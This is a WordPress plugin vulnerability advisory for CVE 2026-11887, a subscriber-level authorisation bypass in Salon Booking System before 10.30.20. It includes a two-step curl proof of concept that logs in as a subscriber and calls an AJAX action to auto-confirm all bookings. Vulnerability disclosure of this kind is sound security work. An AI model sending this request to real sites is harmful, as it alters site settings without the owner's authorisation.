Salon Booking System < 10.30.20 – Subscriber+ Booking Approval Bypass | CVE 2026-11887 | Plugin Vulnerabilities

Description

The plugin does not have proper authorisation checks on one of its AJAX actions, allowing any authenticated user, such as a subscriber, to modify a plugin setting and bypass the manual approval of new bookings.

Proof of Concept

# Login as any subscriber
curl -s -c cookies.txt -X POST "https://TARGET/wp-login.php" \
  --data "log=customer&pwd=pass&wp-submit=Log+In&testcookie=1"

# Bypass booking approval - auto-confirm all new bookings
curl -s -b cookies.txt -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  --data "action=salon&method=SetDefaultBookingStatus&status=confirmed"
# Response: {"success":1}

Affects Plugins

salon-booking-system

Fixed in 10.30.20

References

CVE

Classification

Type

NO AUTHORISATION

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

kevin(@OPCIA)

Submitter

kevin(@OPCIA)

Verified

Yes

WPVDB ID

ed203765-0482-4d55-b36f-cdab11ed3cf0

Timeline

Publicly Published

2026-06-10 (about 21 days ago)

Added

2026-06-10 (about 20 days ago)

Last Updated

2026-06-10 (about 20 days ago)

Other

Published

Title

Published

2025-02-03

Title

RapidLoad < 2.4.5 - Missing Authorization

Published

2026-03-01

Title

ShopWP <= 5.2.4 - Missing Authorization

Published

2024-02-27

Title

Envo's Elementor Templates & Widgets for WooCommerce < 1.4.5 - Subscriber+ Template Creation

Published

2025-03-31

Title

ELEX WooCommerce Request a Quote <= 2.3.9 - Missing Authorization

Published

2026-03-23

Title

Indeed Membership Pro < 13.7.1 - Missing Authorization